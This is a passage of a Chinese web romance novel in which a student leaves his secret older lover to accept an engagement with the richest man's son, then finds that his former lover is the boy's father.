他对霍思议赔笑兼警告道:“这位同学,息息怒,你打的这位是果源集团的四公子,果源你知道的吧,饮料行业巨头,打人一时爽,后果负不起啊。” 霍思议皮笑肉不笑:“原来就是一做饮料的,我还以为是什么高门少爷,撒泡尿自己照照那肥丑样,凭你也配奚时?!” 大堂经理:“……” 何天顺也是众星拱月地长到那么大,何时被人这样贬低过,捂着肿起来的脸,指着霍思议。 “你小子又是哪根葱,有本事报上名来,老子让你连自己怎么死的都不知道。” “思议!” 这时候霍思议约他那朋友才姗姗来迟,看到这对峙的一幕心里一咯噔,看到霍思议占据主导,且不像受伤的样子才松口气。 要霍思议真被打了,首富不得活撕了他。 “怎么回事,思议?”霍思议的朋友走过来问。 霍思议抬了抬下巴,倨傲道:“告诉这臭卖饮料的,我是哪根葱。” 朋友不明所以,不过还是先帮霍思议把这个逼装下去,说:“他是我们燕京首富的独子霍思议,他要是葱,你就连草履虫都不是。” 何天顺:“……?” 何天顺脸上的表情空白片刻,随即像吃了屎一样精彩。 打死他也想不到,眼前之人竟是首富之子。 可是,首富之子也不能平白无故打人?而且还骂他是臭卖饮料的,这耻辱,怎么咽得下去。 何天顺一脸不服气地想要嘴回去,被他两个朋友连忙拉住了。 “没必要没必要,顺哥,这个真得罪不起。” “对啊,算了算了,快走吧。” 二人拉着何天顺,灰溜溜地走了。 大堂经理也没料到霍思议居然会有这么显赫的身份,忙赔笑道:“霍少,刚刚是我有眼不识泰山,冒犯了您,我该死,您别介意,为了表示歉意,今晚您的一切消费……” 他的话还没说完,霍思议已经眼神都不给他一个地转身出去,大堂经理像小丑一样,吐出刚刚没说完的两个字“免单”。 霍思议一刻也等不了了,而且电话说不够有诚意,这里离奚时的住处很近,他要上门跟他面对面提联姻的事情,才够郑重。 —— 奚时从昨天的生日派对回来后,胃里就开始犯恶心。 他自然不可能会跟何天顺联姻,但他们中间横插一个奚玥,她有的是办法和手段恶心他,说不定还能做出下药让他们滚床单的事情来。 想到这个可能,奚时就一阵心烦意乱,不知不觉戳开了景沉的聊天框。 等他反应过来时,发现他居然在聊天框里输了一行字:哥,我们去领证吧。 奚时触电似的缩回了即将落在发送键上的手指。 不至于不至于,还没到忘恩负义的地步。 可是能怎么办呢? 除非奚玥立刻死了,不然她一定会作妖。 “叮咚,叮咚。” 就在他愁得掉头发时,门铃响了起来。 他有气无力,不想开门,但按门铃的人不死心,隔一会儿按一下,一副你不开门我不罢休的样子。 奚时只能暂时收敛操蛋的心,趿拉着拖鞋去开门。 开门前,他先在猫眼里看了眼来人,意外看到站在门外的是霍思议,不知道他忽然上门干嘛。 这就是家里地址被人知道的不便。 奚时这会儿没有什么心情招待霍思议,把门打开一个身位,想就在门口直接把人打发走,根本没有让人进来的意思。 谁知,见他终于开门,霍思议的眼瞳倏然亮了,倒把奚时吓了一跳。 他有点警惕:“你来做什么?” “学长,”霍思议几乎是迫不及待地开口,直奔主题,“我们联姻吧。” 奚时:? 奚时怀疑自己听错了,并发出一个疑惑的声音:“啊?” 霍思议的眼睛像盛了一簇光,亮得惊人。 “我刚刚让人调查了解了一下,才知道学长你的处境,学长,我从第一次见到你就喜欢你,既然你注定要联姻,就干脆跟我联姻吧。” 奚时:“……” 奚时反刍了一下,才消化掉霍思议这番话,一时间觉得梦幻,又觉得不可思议。 和首富之子联姻,是他这辈子都不敢肖想的事情。 要是真和霍思议联姻,他面对的所有一切困难,都可以迎刃而解。 霍思议不仅家世好,长得帅,性格也好,完全是个无可挑剔的联姻对象。 可是,要是他跟霍思议联姻了,景沉怎么办? 奚时一时间心乱如麻。 “学长,可以吗?”霍思议用狗狗眼看着他,眼中全是期待与兴奋。 “我……”奚时张了张嘴,不知道该说什么。 正在这时,隔壁的房门“卡擦”一声开了,邻居出来扔垃圾,见到他们在门口站着,好奇地看了好几眼。 “先进来说吧。” 奚时把门拉开,让霍思议先进来。 霍思议走进去,大概是邻居的出现打断了他怦怦乱跳的心绪,他稍微冷静了一点。 他亦步亦趋地跟在奚时后面,说:“学长,你不用急于答复我,可以慢慢考虑,有什么不方便的地方,你可以说出来,我们一起解决,可以吗?” 奚时示意他坐,又拉开冰箱,拿出两罐冰可乐,把其中一罐递给霍思议,自己拉开另一套,仰起头,一口气“咕噜咕噜”灌了好几口。 冰凉的饮料入腹,奚时的心绪慢慢明朗起来。 “也许你不是太了解我,”奚时斟酌词句,开口道,“我以前有过一段婚约,本来要在上个月底结婚的,但我那未婚夫的白月光忽然回归,我被退婚了,到现在这事情,还被他们当成笑话。” 霍思议立刻要说自己不介意,被奚时“嘘”了一声,又把话咽下去。 奚时也在沙发上坐下来,问出自己说这番话的目的:“所以你要跟我联姻,你父母会同意吗?” 霍思议不是那种恋爱脑上头就头脑发热的人,他没有立刻回答,而是垂眸思考了片刻,才慎重地说:“我没有妈妈,我爸的话,他虽然比较严肃,但是不会干涉我的婚姻自由,我三哥有个明星未婚妻你知道的吧?” 奚时点点头,昨天刚见过。 “我大伯比较保守,起初并不同意我三哥和苒姐在一起,觉得她是一个上不得台面的戏子,出身普通,根本配不上我三哥。” 奚时还以为到了霍思远这种出身,不会有这种苦恼,没想到也是有的。 “后来呢?”他问。 “后来,是我爸站出来替我三哥做主,说他们辛苦经营,有了如今的身份地位,不是为了把自己陷在门第的框条里,给后代作茧自缚,连婚姻都不能自由。” 奚时闻言,不由得对这位首富肃然起敬。 他虽然很积极联姻,但那是身不由己,他其实一直不懂为什么豪门这么喜欢通过联姻来促成家族合作,甚至还自成一个门第鄙视圈。 明明赚钱的初始目的,就是为了过得更好,如果连伴随一生的人都不能自由选择,又何来好字一说。 终究是人性太贪婪了,不知知足,想要更多,才会用婚姻来换取。 反正有钱了,不喜欢原配,可以堂而皇之地出去乱搞,养小三小四小五。 小三小四小五又搞出许多私生子女,子女又因为争家产你死我活。 豪门圈这么乌烟瘴气,就是被这样搞的。 首富估计是财富已经积累够多了,才跳出这个怪圈,不干涉后辈婚嫁。 不管是出于哪种原因,首富愿意抛弃门第之见,让后辈拥有不以利益为目的的婚姻自由,就让奚时对他印象分涨了一截。 奚时点点头,继续扔炸/弹:“被退婚后,我又找了个对象,现在我也还在跟他在一起。” 他以为这个会劝退霍思议,谁知霍思议笑眯眯地说:“我知道的呀,其实在燕大体育馆被拍到跟你抱在一起那个就是吧。” 奚时惊讶于他的敏锐,点点头说:“是。” 霍思议无所谓地说:“我爸都不介意你被退过婚了,当然更不会介意你有前任。” “那你呢?”奚时问他。 “我啊,我心里其实可酸了,但是学长,我比他年轻,比他有钱,你现在喜欢他没关系,我会用魅力征服你的。” 奚时:“……” 好神奇的脑回路,他居然被说服了。 “学长。” 霍思议把手中的可乐放在茶几上,走到他跟前,一米八多的身高充满压迫感。 但下一秒,他在奚时面前蹲下来,仰起头,看着奚时。 “我知道你现在不喜欢我,但我也还有两年才到法定结婚年龄,所以,我们可以先定下婚约,慢慢培养感情,如果两年后你对我没有任何感觉,我们就解除婚约,可以吗?” 奚时怔怔地看着眼前的男生。 霍思议提出的这个条件不可谓不诱人,他们只要定下婚约,他就有了一道保障,从此不用再战战兢兢,担心和何天顺那种人联姻。 而且,奚玥不是想攀上霍思议,做人人艳羡的首富儿媳吗,要是他跟霍思议在一起,绝对能气死她。 被她欺压这么多年,奚时内心要说无感是不可能的。 他恨不得气死她。 这桩联姻,可谓百利而无一害。 “学长”霍思议的手搭在他膝盖上,撒娇似的摇了两下,“给我一个机会吧。” 会撒娇的年下小狼狗谁能抵抗得住啊! 奚时笑意吟吟:“好啊。” 霍思议顿时像被糖果砸中的孩子,绽放出一个大大的笑容,开心完,他意识到自己的手正搭在奚时的膝盖上,顿时触了电似的缩回,红晕从他的脸颊一直蔓延到脖子上。 他几乎是同手同脚地在奚时旁边的沙发坐下,局促地说:“我,我我第一次谈恋爱,不太懂,你,你别笑话我。” 奚时被他这害羞的样子可爱到了,甚至有想伸手rua他头的冲动。 怎么会有这么纯情的弟弟啊! “我需要一点时间,处理跟我现任的事情,你也跟你父亲探一下口风。” 霍思议还没跟他谈,就表现出一副妻奴的样子,听话地点头:“我都听学长的。” 事情谈完,两个人之间一时没有了话题,安静下来。 奚时心情并没有因为烦恼的解决而变好,反而更沉重了点。 和霍思议联姻,紧随而来的就是和景沉分开。 他对景沉正新鲜着,真挺舍不得的。 可他们注定是不会有结果的,如果跟他在一起贪这一年半载欢的代价,是要跟何天顺那种人联姻,那还是算了。 情人这种东西,要当断则断。 “学长。”霍思议又开口叫他。 奚时“嗯”了一声,看向他:“怎么啦?” “我现在是不是可以约你出去吃饭啦?” 奚时被他逗笑了,说:“当然可以,刚好我也饿了,走吧。” 霍思议开心极了,献宝似的带奚时去吃他觉得吃到过最好吃的一家高档餐厅。 他们刚走到餐厅门口,刚好有一波客人吃完离开,见到对方后,双方都愣了一下。 “奚时,你你们,”奚玥不可置信地看向他们二人,“你不是说你们不熟吗?” 奚时再一次觉得燕京很小,不然怎么他跟霍思议出来吃个饭,都能碰到叔、婶和奚玥呢? 霍思议觉得眼前这个女人有点眼熟,但想不起来是谁。 不过这不妨碍他炫耀,霍思议努力矜持但不掩骄傲地说:“以前是不怎么熟,但从今天开始,我是他的未婚夫。”??? 这话炸裂至极,奚玥一时间不知道是该怀疑耳朵听错了,还是怀疑今天出门的方式不对,愣是没反应过来。 奚锦年没见过霍思议,听了这话也是满头雾水,出声问:“这位是” “他就是霍思议,”奚时想着碰都碰到了,也没啥好隐瞒的,干脆说,“叔,婶,我们进去找个包间说吧。” 霍思议想象的二人世界被破坏有点不开心,不过听到奚时的称呼,压下了这点不愉快,示意这里的经理给他们开包间。 这里的经理当然认得霍思议这位贵客,连忙把他们带到了一间空置的包房。 房门刚关上,奚玥再也忍不住,大声质问:“奚时,你给我说清楚,这怎么回事,他怎么会成为你的未婚夫,你明明知道我,我……” 奚玥好歹保留了理智,没说出自己喜欢霍思议的话来。 霍思议见她她双眼猩红,一副要吃了奚时的样子,皱眉道:“你也喜欢奚时?” 奚玥噎住,不可思议地抬头看向霍思议。 她这阵子,处心积虑地打扮得漂漂亮亮的,和霍思议制造各种形式的偶遇。 她以为自己这么出众,还是艺术系的系花之一,霍思议起码记住了她,知道她叫什么。 霍思议抛出的这个疑问彻底粉碎了她的自尊。 要是知道她叫什么,霍思议根本不会问出这种问题来,奚算是比较稀有的姓氏,奚时奚玥,一听就是兄妹。 奚锦年干咳一声,尴尬地说:“她叫奚玥,是奚时的亲堂妹。” “亲堂妹啊,”霍思议终于正眼看了眼奚玥,又转头问奚时,“学长,你是不是欠了她钱?” 奚时:“……” 奚时仿佛听到了奚玥心碎的声音。 想笑是怎么回事。 他忍着差点笑,说:“没有啊,忘了给你介绍,这是我的叔叔和婶婶,我父母早逝,是叔婶把我抚养大的。” 霍思议听到他这样说,态度稍微放客气了一些,冲奚锦年伸出手:“叔叔你好,我是霍思议。” 奚锦年赶紧伸出手,满脸笑容地说:“你好你好,久仰大名。” 霍思议又冲奚夫人点头致意,奚夫人按住几乎发狂的奚玥,喜忧参半地问:“你刚刚提的未婚夫,是怎么一回事?” “哦,是这样的,我对学长一见钟情,想跟他定下婚约,希望叔叔阿姨能把学长交给我,我会照顾好他的。” “不可以,”奚玥几乎崩溃尖叫,“我不同意,你不可以跟他在一起。” 奚玥就算知道了霍思议喜欢的是同性,跟她不可能,也接受不了他跟奚时在一起。 主要是接受不了一直受她欺压的奚时居然能成为首富儿媳,坐上那个包括她在内的名媛千金们梦寐以求的位置。 霍思议感觉奚时这堂妹脑子指不定有什么问题,偏头问:“你哥的婚事,你不同意有效?” 奚玥:“……” “阿沅,你带玥玥先去外面等我。”奚锦年沉声吩咐奚夫人。 奚锦年很疼女儿没错,但能和首富之子联姻这种天上掉金馅饼的好事,奚锦年哪里会考虑她的感受。 “我不走。” 奚玥浑状若癫狂:“霍思议,你不要被他外表欺骗了,奚时他订过婚,就是一只邵寻不要的破鞋,他根本配不上你。” 霍思议被奚玥这番话听笑了,正要说话,奚时拉了一下他的袖子。 可能是要跟首富之子结婚了,有底气,面对这个pua了自己许久的堂妹,当着叔婶的面,奚时第一次对她开嘲讽。 他嗤笑一声:“我配不上,你就配得上了?你倒是清清白白黄花大闺女,但人家理你吗?” 一句话,不仅是奚玥,连奚锦年和奚夫人的脸色都不好看起来。 他们毕竟是疼奚玥的,哪里听得女儿被这样贬低。 但现在奚时有霍思议撑腰,再多不快,他们也只能憋着。 奚锦年不想被人看笑话,但奚夫人也拖不走奚玥,他只能干笑地对霍思议说:“不好意思啊,玥玥她从小被我们惯坏了,不用听她胡说八道,这门婚事,我是相当同意的,只是今天场合不对,等哪天我们两家都有空,你父母也在时,约个时间详谈怎么样?” 霍思议觉得奚时这家长实在很糟心,傲慢地“嗯”了一声,冷冷地说:“学长是我的人,和我家联姻的好处你心里清楚,那叫什么顺还是逆的丑逼要还敢再肖想跟我学长联姻,别怪我丑话说前头。” 奚锦年愣了一下,才反应过来他口中什么顺啊逆的是何天顺,赶紧说:“那是当然,那是当然。” 奚锦年保证完,赶紧和奚夫人带着奚玥走了。 霍思议还是觉得不爽,拉开一个座位示意奚时坐下,说:“你那堂妹是哪个垃圾桶捡的,嘴这么臭?” 奚时被他逗笑了,说:“不说他们了,我们点菜吃饭吧,饿了。” 霍思议哪里有不听话的,立刻招呼服务员来点单。 吃完饭后,霍思议兴奋劲还没过,又和奚时压了一圈马路消食,才把他送回家。 分开的时候,霍思议依依不舍:“那我走了,学长。” “去吧,路上开车注意安全。”奚时说。 “好的,那,学长,晚安。” 奚时:“晚安。” 霍思议却没有立刻离开,他其实想抱一下奚时的,但又不好意思。 倒是奚时,看他这扭扭捏捏欲言又止的模样,感觉他怪可爱的,忍不住伸手摸了下他的头,说:“回去吧。” 霍思议像一条得到奖励的大狗狗,喜滋滋地离开了。 奚时目送他进了电梯,他对霍思议并没有情人间的喜欢,反倒有种送儿子的赶脚是怎么回事。 果然搞年下都容易把自己搞成慈父。 奚时先去洗了个澡,出来的时候刚巧景沉的视频打过来了。 他现在看到景沉的微信头像,心绪万分复杂。 深吸一口气,奚时按了接听键,片刻后,景沉的脸出现在视频里。 今天的景沉和之前又不同,他又穿了西装,但里面的衬衣被解开了三颗扣子,露出了他结实的胸膛,比起以前板正禁欲的样子,又多了蛊人的一番风味。 看得奚时条件反射斯哈斯哈,恨不得穿过手机去摸那若隐若现的胸肌。 奚时又眼睛把景沉视奸了一会,才问:“哥,你喝酒了啊?” 景沉不仅衣裳不齐整,脸颊也红红的,一向深邃幽深的眼眸中,迷上了一层醉意。 “嗯,庆功宴,多喝了点。”景沉说。 “都庆功宴了啊,那你是不是快回来了?” 景沉冷峻的脸上浮出一点笑意:“不出意外的话,后天中午。” 后天中午……这么快。 奚时和景沉分开这么久,挺想他回来,但这次他回来,就意味着分开,所以又不太想他回来。 仿佛只要他不回来,他们就可以不分开。 景沉注意到他的沉默,问:“怎么?” 奚时强颜欢笑:“没事,你把航班信息发给我,我去机场接你。” 景沉后天上午有个政府的会议必须要出面,参加完打算坐私人飞机回来,既然决定坦白身份,景沉倒不介意被奚时知道他坐私人飞机的事。 不过,景沉想亲口和奚时说自己的身份,在这之前,什么也不能抢了先。 想了想,景沉说:“现在还在国庆假期,路上大堵车,没必要亲自来接我,我直接去你那里。” 奚时一想也是,尤其是开他那跑车,堵车损腰,影响晚上滚床单的持久力。 他已经决定好了,景沉回来后,和他再滚一回床单,然后给他一张支票,以及送给他那辆车的钥匙,再潇洒分手。 情人一场,体体面面,互不亏欠。 不过,滚完床单就分手,把景沉踹下床让他走也不好。 于是奚时说:“去你那边吧,你那里离机场近一点。” 去景沉那里,分完手他转身潇洒走人,完美地解决了这个问题。 虽然景沉并不在燕京机场落地,但奚时这话也有道理,景沉说:“好。” 两个人各怀心思,又十分和谐,有一搭没一搭地聊了一个多小时,才依依不舍地挂了视频。 临睡前,奚时又收到了霍思议的消息。 学弟:学长,我爸后天回来,我跟他提了一下我们的事情,他想见见你,可以吗? 奚时:“……” 后天是什么回归的好时机吗,怎么一个两个都后天回? 奚时腹诽完,给霍思议回消息。 你咋不上天:可不可以推到8号,我后天没有空。 今年的中秋和国庆在一起,所以国庆假有8天。 学弟:我爸也要8号才有空,那如果你不介意的话,我们就约8号,你来我家吃午饭? 你咋不上天:可以吧。 你咋不上天:说实话我有点怵你爸,你确定我这样贸然上门没事么? 学弟:没事噢学长,我爸他就是严肃了一点,但不会凶人的,而且有我呢,我无条件站你的。 霍思议这么一说,奚时稍微放心了一点。 说真的,关于这个首富的传言都挺哈人的,他怕自己有去无回。 不过既然决定了要和霍思议联姻,丑媳妇迟早要见公婆。 关关难关关过,如果连父母这最基础的一关都过不去,又何谈未来呢。 你咋不上天:行,这就么定吧。 —— 转眼就到了6号,奚时给景沉买的车,已经全弄好了,只是还没挂牌,要车主亲自去挂。 车还是停在4S店,奚时让他们把钥匙同城快递过来,他把钥匙送到学生街的小礼品店,花钱让店主包装了一下,做成礼物的样子,又开了一张一百万的支票,带着这两样一起,去了景沉的住处。 景沉的住处快两周时间没人住,走进去居然没有一点异味,像是有人专门上门打扫通风过一样,纤尘不染。 可能是空置的时间不够久吧。 奚时没有多想,他躺在景沉家的沙发上刷视频,躺得他昏昏欲睡时,屋门“卡擦”一声开了。 奚时被惊去睡意,抬头,看到景沉拉着一个行李箱走进来。 他身上穿着上次让奚时隔着屏幕都支棱起来的双排扣西装,精神奕奕,像是出差回来的总裁本裁,挺括的西装上一个褶子都没有,一点不见行程的疲惫。 奚时的瞌睡虫瞬间跑光,从沙发上弹起来,几乎像电视剧女主一样奔过去,扎进景沉的怀里。 景沉身上好像喷了什么香水,剩一点微调,如峭壁雪松,孤冷中透着丝丝缕缕的清苦松香,格外好闻。 “哥,你好香噢。” 景沉搂着怀中的人,手在他柔韧的腰线上摩挲逡巡,头也深深埋在他的脖颈处,闻着上面残余的沐浴露味道,低声说:“你更香。” 奚时被他呼吸弄得脖子痒痒,从他怀里挣脱出来,抬头看景沉,景沉伸手,在他饱满的唇珠上按了一下,随即垂眸,吻了下去。 长达近两周的分别,让这次的干柴烈火烧得格外猛烈。 不知道为什么,奚时今天格外热情主动,让景沉有种到了天堂的感觉,老房子的火烧到了极点。 火烧得太旺的后果就是,奚时晕过去了。 等他再恢复意识的时候,已经是第二天了。 奚时醒来的时候,浑身被车碾过一般,酸痛难当。 而罪魁祸首罪魁祸首居然犹不知足! 奚时汗流浃背了。 人不能,至少不应该这么变态。 明明昨晚他都已经晕了啊! 景沉不会是真背着他狂补身体吧?! “醒了?” 奚时一动,怀抱着他的景沉就行了,自然而然地凑过来,在他脸颊上亲吻了一下。 奚时想到自己即将做的事情,心情有点失落。 不行!大丈夫当断则断,不是这一分钟断就是下一分钟断,早点断了少受点犹豫的折磨。 不过,在此之前,还有一个事情。 “哥,你不是说给我带礼物吗,礼物呢?” 好歹在一起了一个多月的时间,要个礼物留作纪念不过分吧。 景沉说:“在行李箱里。” 奚时推他胸口:“我要看,你去拿。” 景沉顺着他,起身去行李箱里拿礼物,等他拿着一个盒子走进房间里时,发现奚时已经把衣服穿起来了。 面对景沉疑惑的目光,奚时有点心虚,瞥了眼一直他精神的地方,理不直气很壮地说:“哼,我不信它。” 说完,又忍不住斯哈了一下景沉的身材。 身材真好真完美啊,体态匀称,八块腹肌,真想再睡几次。 景沉听了他的解释,低低笑了一声,把手上不太大的盒子递给奚时,说:“不知道你喜欢什么,就挑了个我看着喜欢的。” 奚时把那盒子接过来,并没有看里面装着什么的意思,直接放进了上衣口袋里。 “我也有礼物送给你。” 说着奚时俯身,拉开床头柜,从里面拿出之前放在那里的东西,先把盒子递给他,说:“你打开看看。” 景沉接过来,依言拆开上面粉色的蝴蝶结,打开盒盖,看到里面的车钥匙时,微微愣住。 “你给我送车?” “对呀,宝马五系,不会太高调,在你同事和那些工友们面前又不失面子,我是不是个天才?”奚时忍不住自卖自夸。 “嗯,很聪明,”奚时肯定完,决定刚好趁机表明身份,说,“我有个……” “嘘。” 奚时手指竖在唇边,说:“先听我说完。” 景沉当然顺着他,先把要说的话咽回了肚子里。 奚时把手上的支票递给景沉,景沉看到支票,和它上面一百万的金额,隐约感觉到了什么不妙之处,直接问:“这是什么意思?” “对不起哥,我们的包养关系只能到此为止了。” 奚时低着头,不敢看景沉,但还是把话给他解释清楚了。 “首富家公子对我一见钟情,要跟我联姻,他的家境优渥,我没有拒绝的理由,我家里人也已经答应了,所以,我们只能分开了。” 景沉:“…………” 景沉:“???” 景沉怀疑自己听岔了。 首富家公子,那不是……他儿子?! 前两天,霍思议确实有跟他提过,喜欢上了一个学长,想跟他订下婚约。 景沉总觉得霍思议这个决定太过仓促,他上大学才一个多月的时间,刨除掉军训的时间,和那个学长也就认识半个月时间。 才认识这么几天就要定下婚约,景沉觉得有点草率。 不过他没有拒绝,只说想见见人,于是约了明天一道来家里吃午饭,他要先看看人。 啊这…… 景沉以为他被一个大学生包养已经是人生遇到的极限了,没想到还有高手。 从未设想过的可能出现了。 “你确定是首富的儿子?”景沉再一次确定。 “是的,这点千真万确,你不用担心我受骗。” 奚时会错了他的意思,以为他是担心自己被什么诈骗团伙欺骗,心里感动极了。 再聊下去就要舍不得了。 奚时冲景沉鞠了个躬,说:“对不起,再见。” 说着,他转身,直接跑了。 景沉还沉浸在震惊中,一时不察,让他从自己身边溜走了,他赶紧追出去,追到门口发现自己浑身上下只有一条内裤。 笑死,根本不好追。 听到外头电梯门合上的声音,景沉捏着支票的指尖发紧。 看来早就预谋好了,跟他滚完最后一次床单就跑路。 难怪昨天那么热情主动,晕过去之前都还紧咬着他不放,让他如同到了极乐之巅,原来是奔着最后一次去的。 跟着条件优渥的首富儿子跑路,还不忘初衷,最后再嫖他一次。 好,好得很啊。 —— 奚时一路回到了自己原先住那个家,这里是他父母留下来的房子,他从来没带景沉来过,不用担心他会找过来。 把自己摔在柔软的床铺上,奚时心里的苦涩才后知后觉蔓延上来。 好在昨天晚上景沉真的够卖力,他真的够累,没难过多久,他又昏昏沉沉睡过去了。 再次醒来,是直接被饿醒的,奚时看了眼时间,居然都下午了。 手机里安安静静,除了霍思议给他发了两条信息,并没有其他人找他。 景沉也没有…… 他以为对方会来质问他,甚至挽留他,但他好像终究高估了自己在景沉心中的地位。 真是个冷情冷性的老男人啊。 奚时撇了撇嘴,打开外卖软件点了份外卖,给霍思议回消息。 你咋不上天:刚分完手。 学弟:!!! 学弟:啊啊啊学长别难过! 学弟:QAQ想过去陪学长,但我爸今天才回来,不知道谁说了我坏话,我暂时出不了门。 你咋不上天:没事,没有想象中难过。 你咋不上天:那我明天还要上门吗,要不改天? 学弟:不用不用,我爸泾渭分明,不会随意拿人撒气的。 学弟:不要怕噢学长,我预感我爸会很喜欢你的。 你咋不上天:好吧。 你咋不上天:你把你家的地址发给我。 学弟:[位置分享] 学弟:等学长。 学弟:[乖巧.JPG] 你咋不上天:[猫猫摸头.JPG] 隔日,国庆假最后一天,奚时起了个早,第一次见家长,必须要有好印象。 他从头到尾地打理拾掇了一番,衣服选的是白衬衫加深色的休闲裤,顶级小白花搭配,穿上之后,青春靓丽,干净清澈又简单,最讨家长喜欢。 准备就绪后,奚时开着自己的小跑,往首富家而去。 第29章 第 29 章 奚时觉得自己大小算个富二代, 算是见过世面的人了。 直到他到了首富的住处,才发现他还是太孤陋寡闻了。 首富家所在的小区叫云顶花园,说是小区, 其实就是霍家的私人宅邸,里面坐落着一座座能在燕京卖出过亿价格的别墅。 不是联排, 而是真正意义上的花园别墅, 拥有大片的独立院子。 霍家和首富关系亲近的基本居住于此, 攒成独立的霍家家族群,也有几栋别墅对外售出, 无一例外都是财力雄厚的人才能拥有, 让这里彻底成了一个富人权贵聚集区。 而首富的家, 又是云顶花园中,一个独立的庄园。 庄园有独立的保安系统,安保可谓铜墙铁壁,岗亭有保安值守,非登记的车辆无法进入。 不过霍思议已经跟保安打好了招呼, 保安看到奚时的车过来,直接放行。 车辆经过安保的关卡时, 有减速带, 车辆被迫缓慢前行时,一簇红外线从车头扫到车尾,奚时怀疑是检测有没有携带□□。 就挺离谱的。 但想到首富的财力,好像再怎么小心都不为过。 通过保安亭后, 车又开了一段距离, 这里也并非只有一栋单独的别墅, 而是有好几栋,估计是给佣人或者远道而来的客人居住的。 而首富的家, 就是庄园里最豪华那一栋。 霍思议在院子门前的马路上接他,等车停稳后,他亲自上前拉开车门,看到打扮得清纯靓丽的学长,差点没出息地捂鼻子。 “学、学长,你今天好好看。” 奚时没心情理会他的夸赞,他有点像刘姥姥进了大观园,轻咳一声,问:“我车停哪里?” 这周围一辆车都没见停,他都不好意思直接停这路边。 “就停这里吧,随便停。”霍思议不在意地说。 奚时:“……会不会不好。” “没事啦学长,你不用那么拘谨,就把这里当自己家一样就好了。” 奚时心说开玩笑,我要是有那个心理素质,早去英雄联盟打上单了【bushi。 解开安全带下车,奚时这会儿他才后知后觉地想起首富那些骇人的传闻来,苍蝇搓手手:“你爸今天应该会让我竖着出去的吧。” 首富可是个实打实从权力争端的刀尖上舔血之人,有的是力气和手段。 QAQ万一他觉得自己勾引带坏他儿子,一气之下把他留下来当花肥怎么办? 奚时瞬间觉得这满院子金秋都开得鲜艳的花有种森森诡异了。 后悔了,好想临阵脱逃。 霍思议被他逗笑了,推着他往里走说:“我爸又不吃人,不用想那么多,有我呢。” 院子门口有一对穿着围裙拿着花剪的姐妹花,他们是专门负责首富家这个院子的园艺师方方圆圆,见到他们过来,二人礼貌问好。 “少爷好。” 霍思议微微一点头,方方看着奚时,眼中满是惊艳。 “这就是未来的少奶奶吗,好漂亮哦。” 圆圆:“少爷真有眼光。” 奚时被少奶奶雷了一下,微笑:“你们好。” “哇,笑起来更好看。” “不对不对,美人无论何时都是最美的。” “……” 首富家的佣人这么活泼的吗? 霍思议听她们夸张奚时听得浑身舒坦,表面故作高冷地对奚时说:“学长,不用理她们胡说,我们进去吧。” 首富家的花园也很大,走了一会,奚时忽然顿住脚。 “怎么了?”霍思议疑惑。 “我礼物忘拿了!”难怪他总感觉两手空空少了点什么。 霍思议想说不用带礼物,但转念一想,奚时第一次上门,两手空空的话,他和他爸是不会介意,但奚时自己会不好意思的啊。 作为华国人,哪里有上门两手空空的。 还是第一次上门。 未免奚时不自在,霍思议问:“放哪了?” 奚时:“副驾驶。” 霍思议松了一口气,他还以为落家里了。 “我去拿,这里晒,那你去前面的树荫下等我。” “那行,”奚时把车钥匙给他,“两个袋子,别漏掉了。” 霍思议答应了一声,一溜烟跑了。 奚时本想在原地等,但临近中午,即便现在天气已经凉了,太阳底下也还是又晒又刺眼,奚时在太阳下站了片刻,抵挡不住日晒,往霍思议所说的那棵树走去。 走近后,奚时才看到树后面站着一个男人,他心里咯噔了一下,难道是那位神秘的首富? 奚时有点害怕,但又很好奇,偷偷走近了一点,想一睹这个男人的风采。 等他看清站着的人侧脸时,脸色大变。 景、景沉?! 不是,他怎么会在这里? 奚时看他面色阴沉,周围散发着一股骇人的气息,吓了一大跳。 卧槽,景沉不会是找来跟霍思议拼命的吧? 想到这个可能,奚时整个人都不好了。 他还以为他单方面宣布结束这段关系,景沉连一条消息都不发给他,是冷情冷心,只把他当成金主,没有一点感情。 现在看来,他是要闷声干大事啊! “哥,”奚时顾不得其他了,快步走过去,“你怎么会在这里?” 不等景沉说话,奚时又苦口婆心地说:“你不要想不开啊,那霍思议不是你惹得起的,走走走,我带你离开这里。” 景沉:? 景沉其实早就听到了奚时过来的动静,他就是故意站在这里,看看奚时见到他会是什么反应。 结果奚时过来后,推着他就往院子门口走。 景沉被推着走了几步,顿住脚步,说:“先把话清楚。” “哎呀,有什么话出去再说。” 奚时急死了,这景沉真是不知者无畏啊。 “听我说,首富之子不好惹,首富本人更是个心狠手辣,杀人不见血的大魔头,你快走,不然我们都得完。” 景沉:“” 奚时不管三七二十一,推着景沉到了门口。 然而天公不作美,他们刚到门口,就迎面撞上了提着两袋子礼物走进来的霍思议。 奚时暗道一声糟糕,这会儿把景沉推进草丛里躲起来已经来不及了,怎么办怎么办? 正当他绞尽脑汁,思索着用什么说辞,解释景沉是谁,为什么会出现在这里时,霍思议也看到了他们。 他一脸纳闷:“学长,你要推我爸去哪里?” “不是,你听我解……” 奚时嘴里的“释”字还没说出来,慌张的大脑终于接收处理完了霍思议那句话,整个脑袋“嗡”一声,炸开了。 不是,霍思议刚刚说,他的谁? 奚时感觉眼前一黑。 “学长,学长你怎么了?” 霍思议见奚时扶着额头,一副要晕倒的样子,赶紧想上前扶他。 他爸却更快地,把人揽住。 要是就这么晕过去也就罢了,偏偏奚时又没这么脆弱,他只是晃了一下,整个人就清醒过来。 但脑子还是一片混乱。 景沉不是一个工地打工的吗,怎么就摇身一变,成为首富了? 而且,他真是年龄也就三十出头的样子,肯定连35都不到,又是怎么生出霍思议这么大个儿子来的? 他就说,连他都没来过首富的家里,景沉怎么可能找得到在哪里。 而且首富家安保系统那么严密,景沉只身根本进不来。 他刚刚关心则乱,一心想着赶紧让景沉离开,完全忽略了这些问题。 更无语的是,他刚刚还当着正主的面,编排人家心狠手辣,是个杀人不见血的大魔头。 有没有人,给他一棍子,让他原地死机。 “学长,你脸色怎么这么难看,你没事吧?” 霍思议见他脸色变来变去,忧心忡忡地问。 他只是去拿了个东西的功夫,发生什么事情了? 不会是被他的爸吓到了吧。 “我、我没事。”奚时挣开景沉的搀扶,说道。 “别杵这里了,先进去吧。”霍思议说着,不动声色地走到奚时右边,格挡住他和他爸的视线。 他觉得奚时一定是被他爸吓到了。 奚时思绪一片混乱,下意识地跟着霍思议往家里走。 大门口站了一个笑得很和蔼的中年男人,霍思议介绍是他们家的管家。 还有几个人在不引人注目的角落探头探脑,估计都是霍家的佣人,好奇来偷看的。 管家接过霍思议手上的东西,笑吟吟地招呼奚时进去坐。 